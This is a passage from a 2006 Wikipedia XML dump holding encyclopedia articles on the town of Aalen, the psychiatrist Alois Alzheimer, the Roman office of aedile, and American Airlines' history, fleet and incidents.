In the early [[20th century]] the population was 10,000. Woolen and linen goods were manufactured, and there were ribbon looms and tanneries in the town, and large iron works in the neighbourhood. The economy of Aalen is today dominated by metal processing. Besides machine construction, the optical sector plays an important role, as well as the textile and paper industries. There are several [[Microbrew|micro-breweries]], of which the one in Wasseralfingen is the most popular. Their beer is called ''Wasseralfinger''.

Aalen is a health resort, with hot springs and an old mine which now offers therapy for asthma illnesses. A mine railway takes visitors deep into the Braunenberg mountain, where once ore was mined for the iron works, but now is in use for the above-mentioned asthma therapy.

Aalen has several sports teams; its wrestling team is one of the top clubs in all of Germany.

Aalen is located directly on the [[Autobahn]] A7 and is also well connected to the network of federal roads (''Bundesstraßen''). It is a regional railway hub, with frequent service to [[Stuttgart]] Hbf, [[Nürnberg]] Hbf and [[Ulm]] Hbf.  Interregional trains run directly as far as [[Karlsruhe]] and [[Dresden]]. The local bus system is of high quality; its [[double-decker bus|double-decker buses]] are among the few extant outside England.

==Boroughs of Aalen==

* Dewangen
* Ebnat
* Fachsenfeld
* Hofen
* Unterkochen
* Waldhausen
* Wasseralfingen.

&lt;!-- ==External links== --&gt;
{{Wikisource1911Enc|Aalen}}


{{1911}}

[[Category:Towns in Baden-Württemberg]]

[[da:Aalen]]
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    </revision>
  </page>
  <page>
    <title>Alois Alzheimer</title>
    <id>2383</id>
    <revision>
      <id>40596803</id>
      <timestamp>2006-02-21T18:46:38Z</timestamp>
      <contributor>
        <username>Rodasmith</username>
        <id>291611</id>
      </contributor>
      <comment>revert vandalism</comment>
      <text xml:space="preserve">[[Image:Alzheimer01.jpg|thumb|left|Alois Alzheimer]]

'''Aloysius &quot;Alois&quot; Alzheimer''' (b. [[June 14]] [[1864]] in [[Marktbreit]], [[Bavaria]]; d. [[December 19]] [[1915]] in Breslau, now [[Wrocław]], [[Poland]]) was a [[Germany|German]] [[psychiatrist]] and [[neuropathologist]] and a colleague of [[Emil Kraepelin]] who first identified the symptoms of what is now known as [[Alzheimer's Disease]].  He observed the disease in a patient he first saw in [[1901]], and published his findings from his postmortem examination of her brain in [[1906]]. His father served in the office of notary public in the family's hometown. Alzheimer attended [[Aschaffenburg]], [[University of Tübingen|Tübingen]], [[Berlin]], and [[University of Würzburg|Würzburg]] universities. He received a medical degree at Würzburg University in [[1887]]. In the following year, he spent five months assisting mentally ill women, before he took an office in the city mental asylum in [[Frankfurt am Main]]: the Städtische Anstalt für Irre und Epileptische (asylum for lunatics and epileptics). [[Emil Sioli]] was the dean of that asylum ([[1852]]-[[1922]]). Another neurologist, [[Franz Nissl]] ([[1860]]-[[1919]]), began to work in that same asylum with Alzheimer, and they knew each other. Much of Alzheimer's later work on brain pathology made use of Nissl's method of silver staining of the histological sections. Alzheimer was the co-founder and co-publisher of the journal ''Zeitschrift für die gesamte Neurologie und Psychiatrie''. He never wrote a book that he could call his own. He fell ill on the train on the way to the University of Breslau where he had been appointed professor of psychiatry in [[1912]]. Most probably he had a [[streptococcal]] infection and subsequent [[rheumatic fever]] and [[kidney failure]]. He died of [[heart failure]] at the age of 51, in Breslau.

== External links ==
* [http://www.whonamedit.com/doctor.cfm/177.html/ Who Named It? - Alois Alzheimer]
* [http://www.ibro.info/Pub_Main_Display.asp?Main_Id=34 Alois Alzheimer's Biography, International Brain Research Organization]

[[Category:1864 births|Alzheimer, Alois]]
[[Category:1915 deaths|Alzheimer, Alois]]
[[Category:History of neuroscience|Alzheimer, Alois]]
[[Category:German neuroscientists|Alzheimer, Alois]]

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[[uk:Альцгеймер Алоїз]]</text>
    </revision>
  </page>
  <page>
    <title>Aedile</title>
    <id>2384</id>
    <revision>
      <id>40384818</id>
      <timestamp>2006-02-20T04:53:15Z</timestamp>
      <contributor>
        <ip>24.99.52.192</ip>
      </contributor>
      <text xml:space="preserve">{{Roman government}}
'''Aedile''' ([[Latin language|Latin]] '''''Aedilis''''', from ''aedes, aedis'' &quot;temple,&quot; &quot;building&quot;) was an office of the [[Roman Republic]].  Based in [[Rome]], the aediles were responsible for maintenance of public buildings and regulation of public [[festival]]s.  They also had powers to enforce public order. Half of the aediles were from the ranks of [[plebeian]]s and half were [[patrician]]s. The latter were called ''curule aediles'' (''aediles curules'') and they were considered [[Magistratus Curulis|curule magistrates]].

The office was generally held by young men intending to follow the ''[[cursus honorum]]'' to high political office.  However it was not a legal part of the cursus, merely an advantageous starting point which demonstrated the aspiring politician's commitment to public service.

They were created in the same year as the [[Tribune|tribunes of the people]] (494 B.C.). Originally intended as assistants to the tribunes, they exercised certain police functions, were 
empowered to inflict fines and managed the plebeian and Roman games.  According to [[Livy]] (vi. 42), after the passing of the [[Licinian rogation]]s, an extra day was added to the Roman 
games; the aediles refused to bear the additional expense, whereupon the patricians offered to undertake it, on condition that they were admitted to the aedileship.  The plebeians 
accepted the offer, and accordingly two ''curule'' aediles were appointed--at first from the patricians alone, then from patricians and plebeians in turn, lastly, from either--at the 
Comitia Tributa under the presidency of the consul.  Although not sacrosanct, they had the right of sitting in a curule chair and wore the distinctive toga praetexta.  They took over 
the management of the [[ludi Romani|Roman]] and [[ludi Megalenses|Megalesian]] games, the care of the patrician temples and had the right of issuing edicts as superintendents of the markets.  But although the curule 
aediles always ranked higher than the plebeian, their functions gradually approximated and became practically identical. 

[[Cicero]] (Legg. iii. 3, 7) divides these functions under three heads:--(1) Care of the city: the repair and preservation of temples, sewers and aqueducts; street cleansing and paving; 
regulations regarding traffic, dangerous animals and dilapidated buildings; precautions against fire; superintendence of baths and taverns; enforcement of sumptuary laws; punishment of gamblers and usurers; the care of public morals generally, including the prevention of foreign superstitions.  They also punished those who had too large a share of the ager publicus, or kept too many cattle on the state pastures. (2) Care of provisions: 
investigation of the quality of the articles supplied and the 
correctness of weights and measures; the purchase of corn for 
disposal at a low price in case of necessity. (3) Care of 
line games: superintendence and organization of the public 
games, as well as of those given by themselves and private 
individuals (e.g. at funerals) at their own expense.  
Ambitious persons often spent enormous sums in this manner to 
win the popular favor with a view to official advancement. 

In [[44 B.C.]] [[Julius Caesar]] added two patrician aediles, called ''Cereales'', whose special duty was the care of the corn-supply.  
Under [[Augustus]] the office lost much of its importance, its juridical functions and the care of the games being transferred to the praetor, while its city responsibilities were limited by the appointment of a [[Prefect|praefectus urbi]]. In the 3rd century A.D. it disappeared altogether. 

==Reference==
*''This entry incorporates public domain text originally from the [[1911 Encyclopædia Britannica]].''
[[Category:Ancient Roman titles]]

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    </revision>
  </page>
  <page>
    <title>American Airlines</title>
    <id>2386</id>
    <revision>
      <id>42113422</id>
      <timestamp>2006-03-03T22:31:56Z</timestamp>
      <contributor>
        <ip>72.64.82.165</ip>
      </contributor>
      <comment>/* Destinations */</comment>
      <text xml:space="preserve">{{dablink|For the arenas named after this company, see [[American Airlines Center]] ([[Dallas, Texas]]), or [[American Airlines Arena]] ([[Miami, Florida]])}}
{{Infobox_Airline |
airline        = American Airlines |
logo           = AA logo.svg |
logo_size      = 250px |
fleet_size     = 707 |
destinations   = 171 |
IATA           = AA |
ICAO           = AAL |
callsign       = American |
parent         = [[AMR Corporation]]|
founded        = 1930 (as American Airways)|
headquarters   = [[Fort Worth, Texas|Fort Worth]], [[Texas]] |
key_people     = Gerard Arpey ([[CEO]]) &lt;br&gt; James Beer ([[CFO]]) |
hubs           = [[Dallas-Fort Worth International Airport|Dallas-Fort Worth Int'l Airport]] &lt;br&gt; [[O'Hare International Airport]] &lt;br&gt; [[Miami International Airport]] &lt;br&gt; [[John F. Kennedy International Airport|John F. Kennedy Int'l Airport]] &lt;br&gt; [[LaGuardia Airport]] &lt;br&gt; [[Lambert Saint Louis International Airport|Lambert Saint Louis Int'l Airport]] &lt;br&gt; [[Logan International Airport|Logan International Airport]]|
focus_cities   = [[Luis Muñoz Marín International Airport]]&lt;br&gt;[[Los Angeles International Airport|Los Angeles Int'l Airport]] |
frequent_flyer = [[AAdvantage]] |
lounge         = [[Admirals Club]] |
alliance       = [[Oneworld (airlines)|'''one'''world]] |
website        = http://www.aa.com |
}}
[[image:San.juan.arp.750pix.jpg|thumb|right|250px|American Airlines and American Eagle aircraft at San Juan]]

'''American Airlines''' is the largest [[airline]] in the world in terms of total passengers transported, and the second-largest airline in the world (behind [[Air France-KLM]]) in terms of total operating revenues. A subsidiary of the [[AMR Corporation]], the airline is headquartered in [[Fort Worth, Texas]], adjacent to the [[Dallas/Fort Worth International Airport]]. American operates scheduled flights throughout the [[United States]], as well as flights to [[Canada]], [[Latin America]], the [[Caribbean]], [[Western Europe]], [[Japan]] and [[India]]. The [[chairman]] and [[CEO]] of AA is [[Gerard Arpey]]. In 2005 the airline netted over 98 million [[Revenue passenger mile|RPMs]].

As of February 2006, American serves 171 cities with a fleet of 707  aircraft. American carries more passengers between the US and Latin America (12.1 million in 2004) than any other airline, and is also strong in the transcontinental market.

American has seven hubs: [[Dallas/Fort Worth International Airport|Dallas/Fort Worth]], [[O'Hare International Airport|Chicago O'Hare]], [[Miami International Airport|Miami]], [[Lambert-Saint Louis International Airport|St. Louis]], [[Logan International Airport|Boston]], [[LaGuardia Airport|LaGuardia]], and [[John F. Kennedy International Airport|New York JFK]]. [[Dallas/Fort Worth International Airport|Dallas/Fort Worth]] is the airline's largest hub, with AA operating over 84 percent of flights at the airport and traveling to more destinations than from any of its other hubs. [[Los Angeles International Airport]] and [[Luis Muñoz Marín International Airport|San Juan]] serve as a focus cities and international gateways.  American operates maintenance bases at [[Tulsa International Airport|Tulsa]], [[Kansas City International Airport|Kansas City]], and [[Fort Worth Alliance Airport|Fort Worth Alliance]].

[[American Eagle Airlines]] is an airline based in Fort Worth, Texas, USA. It is a regional airline partner of American Airlines (both are wholly owned by AMR Corporation).

American is a founding member of the [[Oneworld (airlines)|oneworld]] [[airline alliance]].

== History ==
===Formation===
American Airlines developed from a conglomeration of about 82 small airlines through a series of corporate acquisitions and reorganizations: initially, the name '''American Airways''' was used as a common brand by a number of independent air carriers. These included Southern Air Transport in Texas, Southern Air Fast Express (SAFE) in the western US, Universal Aviation in the Midwest (which operated a transcontinental air/rail route in 1929), and Colonial Air Transport in the Northeast.

On [[January 25]], [[1930]], American Airways was incorporated as a single company, with routes from [[Boston, Massachusetts|Boston]], [[New York City|New York]] and [[Chicago, Illinois]] to [[Dallas, Texas|Dallas]], and a transcontinental route from Dallas to [[Los Angeles, California|Los Angeles]]. The airline operated its routes with all-metal [[Fokker Trimotor]]s and [[Ford Trimotor]]s. In 1934 American began flying [[Curtiss Condor]] biplanes fitted with sleeping berths.

===American Airlines before World War II===
In 1934, American Airways Company, in financial straits, was acquired by [[E.L. Cord]], who renamed the company &quot;American Airlines&quot;. Cord hired Texas businessman [[C. R. Smith|C.R. (Cyrus Rowlett) Smith]] to run the company. Early in its history, the company was headquartered at [[Midway Airport]] in [[Chicago, Illinois]]. American's innovations during this period included the introduction of [[flight attendant]]s.
[[Image:American DC-3.jpg|thumb|left|250px|American played a major role in the development of the [[Douglas DC-3]], dubbed &quot;Flagship&quot; in the American fleet]]
Smith worked closely with [[Donald Douglas]] to develop the [[Douglas DC-3|DC-3]], which American Airlines started flying in 1936. With the DC-3, American began to brand itself using nautical terms, calling its aircraft &quot;Flagships&quot; and establishing the &quot;Admirals Club,&quot; an honorary club for valued passengers. The DC-3s had a four-star &quot;admiral's pennant&quot; which would fly outside the cockpit window while the aircraft was parked, one of the most well-known images of the airline at the time.

American was the first airline to cooperate with [[Fiorello LaGuardia]]'s plans to build an airport in [[New York City]], and partly as a result became the owner of the world's first [[Airport lounge|airline lounge]] at the new [[LaGuardia Airport]], which became known as the &quot;[[Admirals Club]].&quot; Membership was initially by invitation only, but a discrimination suit decades later changed the club into a paid membership club, creating the model for other airline lounges.

===Postwar developments===
After [[World War II]], American launched an international subsidiary, [[American Overseas Airways]] to serve [[Europe]]; however, AOA was sold to rival [[Pan Am]] in 1948. AA launched another subsidiary around the same time, American Airlines de Mexico S.A., to operate flights to [[Mexico]], and built several airports in northern Mexico to serve as diversion points for aircraft bound for [[Mexico City]].

American Airlines introduced the first transcontinental jet service on [[25 January]] [[1959]]. With the introduction of [[Boeing 707|707]] &quot;Astrojet&quot; service in the 1960s, American's focus shifted to nonstop coast-to-coast flights, although it maintained feeder connections to other cities along its old route using smaller [[Convair 990]]s and [[Lockheed L-188 Electra|Lockheed Electras]]. The company also launched the first electronic booking system, named [[Sabre (computer system)|Sabre]], together with [[IBM]].

During the 1970s, American acquired its first [[Boeing 747]]s; depressed passenger numbers at the time led American to fit many of its 747s with [[Wurlitzer]] [[piano]]s in the main cabin. Following the [[Transpacific Route Case]], AA began 747 flights to [[Australia]] and [[New Zealand]], although it traded these routes to [[Pan Am]] in 1975 in exchange for routes to the Caribbean. The 747s were soon moved to cargo service, and replaced in passenger service with [[McDonnell Douglas DC-10]]s.

Following a financial slump in the 1970s under the leadership of former [[General Counsel|general counsel]] [[George Spater]], American hired seasoned manager [[Albert Casey]]. Casey decided to move American's corporate headquarters from [[New York City]] to [[Fort Worth, Texas]] in 1979. American opened a new corporate campus on the site of the closed [[Greater Southwest International Airport]], just south of the new [[Dallas Fort Worth International Airport]].

On C.R. Smith's advice, American also hired a young finance executive, [[Robert Crandall]], who had previously worked for [[Bloomingdale's]] and [[TWA]]. Crandall introduced, among other innovations, the world's first frequent flyer miles (AAdvantage) and corporate travel card (AAirpass). After discovering several thousand unused [[cathode ray tube|CRT]] terminals in a Tulsa hangar, Crandall ordered them refurbished and provided to [[travel agent]]s, creating the first airline-owned agent-accessible [[computer reservations system]].  Crandall was named American's President in 1980, and succeeded [[Albert Casey]] as CEO and Chairman in 1985.

===Expansion in 1980s and 1990s===
[[image:americanairlines.arp.750pix.jpg|thumb|left|250px|In the 1990s, American switched to an all-twinjet fleet. [[Boeing 767]] aircraft replaced older [[McDonnell Douglas DC-10|DC-10]]s on many transatlantic routes]]
American changed its routing to a [[spoke-hub distribution paradigm|hub-and-spoke system]] starting in 1981, opening its first hubs at DFW and Chicago O'Hare. American began flights to [[Europe]] and [[Japan]] from these hubs in the mid-1980s.

In the late 1980s, American opened three new hubs for north-south traffic. [[Norman Y. Mineta San José International Airport|San Jose International Airport]] was added as a hub after American purchased [[Air California]]. American also built a new terminal and runway at [[Raleigh-Durham International Airport]] to take advantage of the rapidly-growing [[Research Triangle Park]] nearby, as well as compete with USAir's hub in [[Charlotte Douglas International Airport|Charlotte]]. [[Nashville International Airport|Nashville]] was also chosen as a hub. 

Lower fuel prices in the era and a favorable management climate at the time led to higher than average airline industry profits that were not necessarily shared by non-stockholding employees.  The industry's expansion was not lost on the American Airline's existing employees who on [[February 17]], [[1997]] struck for higher wages.  President [[Bill Clinton]] invoked the Taft-Hartley Amendment to the [[Wagner Act]] citing economic impact to the United States a few minutes later quashing the strike.[http://www.iht.com/articles/1997/02/17/fly.t_1.php]  Pilots settled for substantially lower wage increases than their demands as a result. 

The three new hubs were all abandoned in the 1990s: San Jose was sold to [[Reno Air]], and RDU to [[Midway Airlines]]. Midway went out of business in 2001. American purchased Reno Air in February 1999 and fully integrated its operations on [[31 August]] [[1999]], but did not resume hub operations in San Jose.

[[Miami International Airport|Miami]] also became a hub after American bought Central and South American routes from [[Eastern Airlines]] in 1990. Through the 1990s, American expanded its route network in Latin America to become the dominant U.S. carrier in the region.

On [[15 October]] [[1998]] American Airlines became the first airline to offer electronic ticketing in all 44 countries it serves.

===TWA merger, 9/11, and aftermath===
[[image:american.b777-200er.n780an.arp.jpg|thumb|250px|American Airlines Boeing 777-200ER landing]]
Crandall left the company in 1998 and was replaced by [[Donald J. Carty]], who negotiated the purchase of [[Trans World Airlines]] and its hub in St. Louis in April 2001.

The merger of the different labor unions was a contentious issue. The TWA pilots belonged to the [[Air Line Pilots Association]] ([[ALPA]]) and the American Airlines pilots belonged to the [[Allied Pilots Association (APA)]]. The pilots of the APA took a position that the TWA pilots could not get something for nothing. Namely, job security and retirement benefits without giving up something -- seniority. The ALPA pilots felt they deserved a more fair distribution within the APA seniority list.

As a result, 60 percent of all former TWA pilots were moved to the bottom of the seniority list at American Airlines. For example, the senior-most former TWA captain, hired in 1963 was integrated at the same seniority level as a 1985-hire American captain. To keep some relative seniority, the TWA pilots were given &quot;super-seniority&quot; and a specified ratio of captain's jobs (relative to other domiciles) if they stayed within the St. Louis pilot domicile. If they decided to leave the St. Louis pilot domicile, they would have to compete for jobs on the basis of their integrated seniority number. The result was that most former TWA pilots stayed in the St. Louis domicile and roughly maintained their same relative seniority; albeit stuck within the St. Louis domicile. A few former TWA pilots flew in the co-pilot seat next to AA pilots with significantly less seniority and experience when they decided to transfer to one of the other American Airlines pilot domiciles.

Of the appoximately 2300 TWA pilots who were integrated, approximately 400 were slated for mandatory retirement before the integration actually took place.

As of [[July 2]], [[2003]], 100% of all former TWA flight attendants were furloughed by American Airlines (approximately 4,200 employees). This was due to the American Airlines flight attendant union putting all the former TWA flight attendants at the bottom of their seniority list.

In the wake of the TWA merger and the roughly concurrent [[September 11, 2001 attacks]] (which claimed two of AA's aircraft), American began losing money. Carty negotiated new wage and benefit agreements with the airline's labor unions, but was forced to resign after union leaders discovered that Carty was planning to award handsome executive compensation packages at the same time.  St. Louis' hub was also downsized afterwards.
[[image:AA bird logo.svg|thumb|right|100px|Logo as pictured on their tail fin and when referring to the website aa.com]]
In Carty's wake, American has undergone additional cost-cutting measures, including rolling back its &quot;More Room in Coach&quot; program (which eliminated several seats on certain aircraft types), ending three-class service on many international flights, and standardizing its fleet at each hub (see below). However, the airline has rebounded and expanded its service into new markets, including [[Ireland]], western [[Japan]], and [[India]].  American Airlines is also expanding to [[China]] in [[2006]].

On [[July 20]], [[2005]], for the first time in 17 quarters, American announced a quarterly profit; the airline earned $58 million in Q2 2005. American is reliant upon its dominant position at Dallas/Fort Worth for its continuing financial solvency, and is lobbying for the preservation of the [[Wright Amendment]], which regulates [[Southwest Airlines]]' operations at [[Love Field]] in Dallas.

==Codesharing agreements==
American currently has [[Code sharing|codesharing]] agreements with [[Aer Lingus]], [[Air Pacific]], [[Air Sahara]], [[Alaska Airlines]], [[British Airways]], [[Cathay Pacific Airways]], [[China Eastern Airlines]], [[Deutsche Bahn]] ([[AiRail Service]]), [[EVA Air]], [[Finnair]], [[TACA (airline)|Grupo TACA]], [[Gulf Air]], [[Hawaiian Airlines]], [[Iberia Airlines|Iberia]], [[Japan Airlines]], [[LAN (airline)|LAN Airlines]], [[Mexicana]], [[Qantas Airways]], [[SN Brussels Airlines]], [[SNCF]], [[Swiss International Air Lines]], [[TAM Linhas Aéreas|TAM Airlines]], [[Turkish Airlines]] and [[Vietnam Airlines]]. [[AmericanConnection]], which feeds American's hub at [[Lambert Saint Louis International Airport]], is also a codesharing operation with three regional carriers.

[[Image:American.b777.rearview.arp.750pix.jpg|thumb|250px|AA 777-200ER landing at [[London Heathrow Airport]].]]

== Destinations ==
{{further|[[American Airlines destinations]]}}

===New services/Future destinations===
American Airlines has begun to expand its network internationally, especially [[Asia]]. Major hubs such as [[Dallas/Fort Worth International Airport]] and [[Chicago O'Hare International Airport]] are constantly introduced to new destinations.

Nonstop services from [[Chicago O'Hare International Airport|Chicago O'Hare]] to
*[[Shanghai]] ([[Shanghai Pudong International Airport]]), [[China]] (starting [[April 3]], [[2006]])

==Incidents and Accidents ==
* [[American Airlines Flight 320]], a [[Lockheed L-188 Electra]], crashed on approach to LaGuardia on [[February 3]], [[1959]] due to pilot error.
* [[American Airlines Flight 1]], a [[Boeing 707]], crashed shortly after takeoff from Idewild (now [[John F. Kennedy Airport|JFK]]) airport on [[March 1]], [[1962]] due to a maintenance error causing rudder failure.
* [[American Airlines Flight 625]], a [[Boeing 727]], crashed on approach to [[St. Thomas]], [[U.S. Virgin Islands]] on [[April 27]], [[1976]].
* [[American Airlines Flight 191]], a [[McDonnell Douglas DC-10]], crashed at O'Hare Airport on [[May 25]], [[1979]].
* [[American Airlines Flight 965]], a [[Boeing 757]], crashed on approach to [[Santiago de Cali|Cali]], [[Colombia]], on [[December 20]], [[1995]].
* [[American Airlines Flight 1420]], a [[McDonnell Douglas MD-82]], crashed on landing to [[Little Rock, AR]] on [[June 1]], [[1999]].
* Two American Airlines [[aircraft]] were [[hijack]]ed and crashed during the [[September 11, 2001 Terrorist Attack]]: [[American Airlines flight 77|Flight 77]] (a [[Boeing 757]]) and [[American Airlines Flight 11|Flight 11]] (a [[Boeing 767]]).
* [[American Airlines Flight 587]], an [[Airbus A300]] crashed in [[New York City]] on [[November 12]], [[2001]].
* American almost lost [[American Airlines Flight 63|Flight 63]] to &quot;shoe bomber&quot; [[Richard Reid (terrorist)|Richard Reid]] on [[December 22]] of the same year, but the plot was foiled.  The flight was en route from [[Charles De Gaulle International Airport|Paris Charles De Gaulle]] to [[Miami International Airport|Miami]], and was diverted to Boston's [[Logan International Airport|Logan Airport]].
*A passenger on [[American Airlines Flight 924]] who officials said claimed to have a bomb in a carry-on bag was shot and killed by a team of federal [[Federal Air Marshal Service|air marshals]] on a jetway as the plane boarded at [[Miami International Airport]] for a flight to [[Orlando, Florida|Orlando]], [[Florida]] on [[December 7]], [[2005]].

== Fleet ==
American operates a relatively young fleet, with an average age of 10.5 years [http://www.airsafe.com/events/airlines/fleetage.htm]. Almost half of its fleet is comprised of [[McDonnell Douglas]] [[McDonnell Douglas DC-9#MD-80 series|MD-82]] and [[McDonnell Douglas DC-9#MD-80 series|MD-83]] series twinjets, referred to by AA as &quot;Super 80,&quot; denoting the type's original name, &quot;DC-9 Super 80.&quot;  Much of the Super 80 fleet dates back to the early 1980s, although they own some newer examples acquired from TWA. Regardless of age, most of AA's aircraft have been refitted with new interiors in the last few years, with the exception of many [[Boeing 757]]s. AA has also introduced  new aircraft to its fleet: the newest are the [[Boeing Commercial Airplanes|Boeing]] [[Boeing 777|777-200ER]]s, which replaced [[McDonnell Douglas MD-11|MD-11]]s on key transoceanic routes in the late 1990s such as Tokyo Narita, and [[Boeing 737|737-800]]s, which replaced [[Boeing 727|727]]s and the [[BAC-111]]s on some domestic and Caribbean routes.

American has discontinued three-class service on most aircraft, but continues to offer business class on 777 and 767-200 aircraft. First class passengers on 777 routes to London and Frankfurt enjoy the &quot;American Flagship Suite,&quot; a first class seat that can swivel inwards toward a personal work area and also recline 90 degrees to become a bed. 767-200 flights between [[John F. Kennedy International Airport|JFK]], [[San Francisco International Airport|SFO]], and [[Los Angeles International Airport|LAX]] offer three-class &quot;American Flagship Service&quot; which replicates the passenger service offered on long international flights.

[[Image:IMG 1265r.jpg|thumb|250px|An American Airbus A300 inbound to JFK.]]

On all American aircraft (except ex-TWA 757s), passengers in all cabins have a cigarette port DC power port at select seats. All classes of service on the 777-223ER have personal video screens, although they lack Audio/Video On Demand (AVOD) systems. These personal video screens offer GateConnect, a feature which allows passengers to view maps of the destination airports (gates, security checkpoints, baggage claims, etc) and find out information on connecting flights from that same airport such as gate, aircraft, etc.

Most recently, American has taken the unique step of redesigning its schedules so that each hub city receives certain aircraft types more often than others, which is intended to simplify maintenance and last-minute fleet substitutions. Currently, Chicago, DFW and St. Louis get most Boeing MD-80(S80), 757-2Q8, and 757-231 service, Miami gets most 757-223 and 737 service, and JFK gets most A300 and 767-200 service.  [[Boeing 777|777-223ER]]'s and [[Boeing 767|767-323ER]]'s are usually reserved for high density domestic markets and international flights.

American Airlines was one of three carriers ([[Continental Airlines]] and [[Delta Air Lines]] being the other two) to sign an exclusivity agreement with Boeing in the late 1990s. When Boeing acquired [[McDonnell Douglas]], the [[European Union]] forced Boeing to void the contracts. However, both parties have been adhering to and intend to adhere to the terms under a [[gentlemen's agreement]].

{| style=&quot;border-collapse: collapse;&quot; border=&quot;1&quot;
!Type
!Fleet
!Seats, layout
!Routes
|-
|[[Boeing 777|Boeing&amp;nbsp;777-223ER]]
|45
|236&amp;nbsp;(16/35/194)&lt;br&gt;238 (18/42/163)
|London, Frankfurt, Tokyo, Osaka, Delhi, Shanghai (2006), Brazil, Argentina, DFW-MIA, DFW-ORD
|-
|[[Airbus A300|Airbus A300-600R]]
|34
|267 (16/251)
|High-density, medium-range trunk routes to the Caribbean and along the East Coast
|-
|[[Boeing 767|Boeing 767-323ER]]
|58
|213 (30/183)
|Medium-haul routes to Europe, Hawaii, and Latin America, premium transcontinental, some hub-to-hub ferrying flights
|-
|[[Boeing 767|Boeing 767-223ER]]
|16
|158 (9/30/119)
|Service from JFK to Bermuda, Los Angeles, Miami, and San Francisco
(Non -ER aircraft currently being phased out of service.)
|-
|[[Boeing 757|Boeing 757-2Q8,757-231,757-223]]
|143
|188 (22/166)&lt;br&gt;180 (22/158)
|Domestic, Caribbean, and Latin American flights; service from Boston to Manchester and Shannon
|-
|[[Boeing 737|Boeing 737-823]]
|77
|142 (16/126)
|Domestic, Caribbean, and Latin American flights
|-
|[[McDonnell Douglas DC-9#MD-80 series|Boeing MD-82 (S80)]]
|266
|129 (16/115)
|Domestic flights, predominantly east-west flights through DFW, Chicago and St. Louis
|-
|[[McDonnell Douglas DC-9#MD-80 series|Boeing MD-83 (S80)]]
|95
|131 (16/115)
|Domestic flights, predominantly east-west flights through DFW, Chicago and St. Louis
|}

American Airlines has operated a wide variety of aircraft types, including:
* [[BAC 111]] (1964-1972)
* [[BAe 146]] (1987-1993)  AirCal
* [[Boeing 707]] (1959-1981)
* [[Boeing 717]] (2001-2002) TWA Airlines LLC
* [[Boeing 727|Boeing 727-123]] (1964-1993)
* [[Boeing 727|Boeing 727-223]] (1966-2002)[[image:AA757.JPG|thumb|right|250px|American Airlines Boeing 757]]
* [[Boeing 737|Boeing 737-1xx]] (1987-1993)  AirCal
* [[Boeing 737|Boeing 737-2xx]] (1987-1993)  AirCal
* [[Boeing 737|Boeing 737-3A4]] (1987-1993)  AirCal
* [[Boeing 747|Boeing 747-123]] (1971-1983) (exchanged with [[Pan Am]] for additional DC-10s; one was later used as [[Shuttle Carrier Aircraft]])
* [[Boeing 747|Boeing 747SP]] (1986-1994)
* [[Boeing 757|Boeing 757-231]] (2001-2006)
* [[Boeing 757|Boeing 757-2Q8]] (2001-2006)
* [[Boeing 767|Boeing 767-331]] (2001-2002)  TWA Airlines LLC
* [[Boeing 767|Boeing 767-3YO]] (2001-2002)  TWA Airlines LLC
* [[Convair 240]] (1950s-60s)
* [[Convair 990]] (1970s)
* [[Curtiss Condor]] (1920s-30s)
* [[Douglas DC-2]] (1930s)
* [[Douglas DC-3]] (1930s)
* [[Douglas DC-4]] (1940s)
* [[Douglas DC-6]] (1947-1966)
* [[Douglas DC-7]] (1950s)
* [[Douglas DC-9]] (2001) TWA Airlines LLC
* [[Fokker F100]] (1991-2004)
* [[Ford 5-AT-B Trimotor]] (1920s)
* [[Lockheed L-188 Electra]] (1950s-60s)
* [[McDonnell Douglas DC-10]] (1972-2000) (most sold to FedEx)
* [[McDonnell Douglas MD-11]] (1991-2002) (most sold to FedEx)
* [[McDonnell Douglas MD-87]] (1999-2001) Reno Air
* [[McDonnell Douglas MD-90]] (1999-2001) Reno Air

 (Air Cal) Aircraft obtained during 1986 [[Air California|AirCal]] acquisition.
 (Reno Air) Aircraft obtained during 1999 [[Reno Air]] acquisition.
 (TWA Airlines LLC) Aircraft obtained during 2001 [[Trans World Airlines]] acquisition.

== Livery ==
American's early [[livery|liveries]] varied widely, but a common livery was adopted in the 1930s that featured a large [[eagle]] painted on the fuselage of each aircraft. The eagle became a widely-recognized symbol of the company and inspired the name of [[American Eagle Airlines]]. Propeller aircraft featured an [[international orange]] lightning bolt running down the length of the fuselage, which was replaced by a simpler orange stripe with the introduction of jets.

In the late 1960s, American commissioned an industrial designer to develop a new livery. The original design called for a red, white, and blue stripe on the fuselage, and a simple &quot;AA&quot; logo, without an eagle, on the tail. However, American's employees revolted when the livery was made public, and launched a &quot;Save the Eagle&quot; campaign similar to the &quot;Save the Flying Red Horse&quot; campaign at [[Mobil]]. Eventually, the designer caved in and created a highly stylized eagle, dubbed &quot;the bug,&quot; which remains the company's logo to this day. In 1999, American painted a new [[Boeing 757]] in its 1959 international orange livery.

American is the only major U.S. airline that leaves the majority of its aircraft surfaces unpainted. Originally, this was because C. R. Smith hated painted aircraft, and refused to use any liveries that involved painting the entire plane. Crandall later justified the bare-metal design by noting that less paint reduced the aircraft's weight, thus saving on fuel costs. [[Eastern Airlines]] and [[USAir]] have also maintained unpainted airplanes in the past.

==Miscellaneous==
*In the 1960s, [[Mattel]] released a series of ''American Airlines stewardess'' [[Barbie]] dolls.
*An American Airlines Space Freighter, the ''Valley Forge'', was the setting for the 1971 [[science fiction]] movie [[Silent Running]], starring [[Bruce Dern]] and directed by [[Douglas Trumbull]].
*AA was featured prominently in the first two ''[[Home Alone]]'' movies.
*In the early 1990s, singer [[Janet Jackson]] made a commercial for AA.
*AA has been a long-time promotional sponsor of ''[[The Oprah Winfrey Show]]'', broadcast from AA's hub city of Chicago.
*AA is one of the few companies to have purchased [[naming rights]] for two sporting venues: the [[American Airlines Arena]] in [[Miami, Florida|Miami]] and the [[American Airlines Center]] in [[Dallas, Texas|Dallas]].
*AA was the first airline to offer [[Bloody Mary (cocktail)|Bloody Mary]] cocktails on its aircraft. The airline's contract with the garage-based makers of &quot;Mr. and Mrs. T&quot; mix eventually exhausted the small factory's supply and forced Mr. and Mrs. T to sell itself to [[Del Monte]].
*American received a 100% rating on the first Corporate Equality Index released by the [[Human Rights Campaign]] in 2002 and has maintained their rating in respect to policies on [[LGBT]] employees.

==Sources==
* John M. Capozzi, ''A Spirit of Greatness'' (JMC, 2001), ISBN 0965641031
* Don Bedwell, ''Silverbird: The American Airlines Story'' (Airways, 1999), ISBN 0965399362
* Al Casey, ''Casey's Law'' (Arcade, 1997), ISBN 1559703075
* Simon Forty, ''ABC American Airlines'' (Ian Allan, 1997), ISBN 1882663217
